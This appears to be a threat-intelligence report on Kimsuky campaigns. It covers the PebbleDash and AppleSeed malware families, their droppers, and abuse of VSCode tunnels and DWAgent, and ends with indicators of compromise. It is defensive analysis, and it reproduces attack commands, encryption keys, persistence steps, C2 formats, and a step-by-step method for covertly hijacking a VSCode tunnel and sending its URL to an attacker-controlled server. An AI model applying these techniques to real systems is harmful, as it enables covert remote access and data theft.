Normal view

Kimsuky targets organizations with PebbleDash-based tools

14 May 2026 at 13:00

Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.

Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.

Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.

This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.

Executive summary

  • Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
  • Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
  • The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
  • For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
  • For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
  • Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.

Background

First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).

The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.

Timeline of the AppleSeed and PebbleDash malware families

Timeline of the AppleSeed and PebbleDash malware families

AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.

Initial access

Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.

Here are some recently discovered examples:

Number Filename Filename (translated to English) Detection date MD5 Malware deployed
1 [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse August 28, 2025 995a0a49ae4b244928b3f67e2bfd7a6e HelloDoor
2 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse December 14, 2025 52f1ff082e981cbdfd1f045c6021c63f httpMalice
3 security_20260126.scr January 26, 2026 65fc9f06de5603e2c1af9b4f288bb22c Reger Dropper, MemLoad, httpTroy
4 노현정님.pdf.jse Ms. Noh Hyun-jung.pdf.jse January 28, 2026 8e15c4d4f71bdd9dbc48cd2cabc87806 AppleSeed chain
5 대국민서비스관리운영체계현장점검증적(초안).pif On-site Inspection Evidence for the Public Service Management System (Draft).pif February 5, 2026 8983ffa6da23e0b99ccc58c17b9788c7 Pidoc Dropper, HappyDoor

JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].

Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.

In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.

Deployed malware

In this section, we describe several malware families recently dropped by the droppers discussed above.

HelloDoor: first Rust-based PebbleDash variant

Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.

HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].

The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.

The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:

Command Description
“mcd” Set the current directory
“msleep” Sleep for the provided time
“install” Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command] Execute the provided command using chcp 65001 > nul & cmd /U /C [command]

Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.

✅ Port is now listening (no accepting)
 ❌ Port is already in use
 🔍 regsvr32.exe detected as parent. Attempting to terminate...

This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.

Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:

  • result send fail (grammatically incorrect text)
  • server request fail (grammatically incorrect text)
  • command execute failed (grammatically incorrect text)
  • decrytion failed (typos)
  • autorum failed (typos)

It is likely that the flawed comments were added manually before or after AI was used.

httpMalice: latest backdoor variant of PebbleDash

The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:

  • (PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
  • (PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
  • (PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
  • (PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
  • (AppleSeed cluster) Use of the m= parameter in C2 communication.
  • (AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.

Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.

The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].

Value of elevation status Description
0 Running under the SYSTEM account with an elevated token
1 Running under an elevated administrator account
2 Running without elevation

Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.

The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).

Windows commands used to gather system details

Windows commands used to gather system details

httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:

Value Description
1 Send the session identifier (parameter s) along with the current state (parameter a)
2 Request command
3 Send result after executing the command (parameter d)
8 Request directory to be archived and sent
9 Send the archived directory
10 Send a message like “.cmd” or “.tmp” (parameter d)
11 Send ping
12 Send the captured screenshot (parameter d)
13 Send the infected device information (parameter d)

As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].

The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.

Structure of the ChaCha20-encrypted data blob

Structure of the ChaCha20-encrypted data blob

After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:

Value Description
0 httpMalice has been activated
1 httpMalice has been inactivated (upon command 9)
2 httpMalice has been removed (upon command 8)

The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.

C2 communication sequence of httpMalice

C2 communication sequence of httpMalice

When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.

The commands supported by httpMalice are as follows:

Command Description
0 Do nothing
1 Execute the command with EUC-KR encoding
2 Download and extract the file to the infected device
3 Upload a directory to the C2 server after it has been archived
5 Get the current directory
6 Set the current directory
7 Execute the command without setting a EUC-KR character set
8 Remove its persistence traces and exit the process
9 Hibernate
10 Execute the command using the provided session ID
12 Capture the screen
13 Load the downloaded payload into memory

MemLoad downloads httpTroy

Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).

Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.

Below are the key operations of MemLoad:

  1. Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
  2. Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
  3. Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /rl highest /f is executed. Otherwise, the task is named EdgeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /f is executed.
  4. C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
  5. Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.

The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].

Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.

AppleSeed

AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.

Updated AppleSeed infection chain

Updated AppleSeed infection chain

There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.

HappyDoor

HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.

Post-exploitation

We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.

VSCode (launched by the JSE dropper)

Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.

The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.

The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.

Out.txt content

Out.txt content

The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.

VSCode (launched by VSCode installer)

While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.

Number Installer type VSCode version Download source
1 Written in JScript VSCode CLI 1.106.3 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/bf9252a2fb45be6893dd8870c0bf37e2e1766d61/vscode_cli_win32_x64_cli[.]zip
2 Written in Go VSCode CLI 1.106.2 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/1e3c50d64110be466c0b4a45222e81d2c9352888/vscode_cli_win32_x64_cli[.]zip

After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.

This is how the installer works:

  1. Executes code.exe tunnel.
  2. Searches for the “Microsoft Account” string in the stdout.
  3. Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
  4. Searches for the “use code” string in the stdout.
  5. Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
  6. Searches for the “What would you like to call this machine?” string in the stdout.
  7. Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
  8. Searches for the “https://vscode.dev/tunnel/” string in the stdout.
  9. Sends the printed URL for tunneling to the Slack WebHook.

The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)

Creating a tunnel using VSCode CLI

Creating a tunnel using VSCode CLI

Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.

An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.

DWAgent

DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.

We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.

This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:

  • c:\programdata\dwagent\native\dwagsvc.exe installService
  • c:\programdata\dwagent\native\dwagsvc.exe startService

The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.

The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.

{
 "enabled": true,
 "key": "kDRNGmWGTMpjQmREgQzU",
 "listen_port": 7950,
 "nodes": [
  {
   "id": "ND896147",
   "port": "443",
   "server": "node896147.dwservice[.]net"
  },
  {
   "id": "ND828765",
   "port": "443",
   "server": "node828765.dwservice[.]net"
  },
  {
   "id": "ND484265",
   "port": "443",
   "server": "node484265.dwservice[.]net"
  }
 ],
 "password": "eJwrynEqD0r294twTXLKCHWqDPLPCql0Kg/JDqpIdk4HAKYMCso=",
 "url_primary": "hxxps://www.dwservice[.]net/"
}

Infrastructure

For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.

The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.

Victims

We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.

Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.

[Target's name] [Description] [Infection date] 장악, http 있음, DWService 있음.

While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.

Attribution

Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.

Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.

These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.

Conclusion

Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.

Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.

Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.

Indicators of compromise

File hashes

JSE Dropper
995a0a49ae4b244928b3f67e2bfd7a6e         [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse
52f1ff082e981cbdfd1f045c6021c63f             2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
9fe43e08c8f446554340f972dac8a68c          2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse
8e15c4d4f71bdd9dbc48cd2cabc87806         노현정님.pdf.jse

Reger Dropper
65fc9f06de5603e2c1af9b4f288bb22c                       security_20260126.scr
c19aeaedbbfc4e029f7e9bdface495b9                      secu.scr

Pidoc Dropper
8983ffa6da23e0b99ccc58c17b9788c7                      대국민서비스관리운영체계_현장점검_증적(초안).pif

AppleSeed (Dropper)
a7f0a18ac87e982d6f32f7a715e12532
f4465403f9693939fe9c439f0ab33610
5c373c2116ab4a615e622f577e22e9be

HappyDoor
d1ec20144c83bba921243e72c517da5e

MemLoad
58ac2f65e335922be3f60e57099dc8a3
f73ba062116ea9f37d072aa41c7f5108          jhsakqvv.dat

httpTroy
7e0825019d0de0c1c4a1673f94043ddb        c:\programdata\config.db

httpMalice
08160acf08fccecde7b34090db18b321
94faed9af49c98a89c8acc55e97276c9

HelloDoor
c42ae004badddd3017adadbdd1421e00

VSCode Tunnel installer
9ca5f93a732f404bbb2cee848f5bbda0                      xipbkmaw.exe

DWAgent installer
678fb1a87af525c33ba2492552d5c0e2

Domains and IPs

opedromos1.r-e[.]kr                            C2 of AppleSeed
morames.r-e[.]kr                                 C2 of AppleSeed
load.ssangyongcne.o-r[.]kr                 C2 of MemLoad
load.yju.o-r[.]kr                                   C2 of MemLoad
attach.docucloud.o-r[.]kr                    C2 of MemLoad
load.supershop.o-r[.]kr                       C2 of MemLoad
load.erasecloud.n-e[.]kr                     C2 of MemLoad

cms.spaceyou.o-r[.]kr                         C2 of HappyDoor
erp.spaceme.p-e[.]kr                          C2 of HappyDoor

file.bigcloud.n-e[.]kr                            C2 of httpTroy
load.auraria[.]org                                C2 of httpTroy

female-disorder-beta-metropolitan.trycloudflare[.]com         C2 of HelloDoor
hxxps://www.pyrotech.co[.]kr/common/include/tech/default.php      C2 of httpMalice
hxxp://newjo-imd[.]com/common/include/library/default.php            C2 of httpMalice
hxxps://www.yespp.co[.]kr/common/include/code/out.php               VSCode Tunneling using JScript

Kimsuky targets organizations with PebbleDash-based tools

14 May 2026 at 13:00

Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.

Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.

Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.

This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.

Executive summary

  • Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
  • Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
  • The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
  • For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
  • For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
  • Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.

Background

First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).

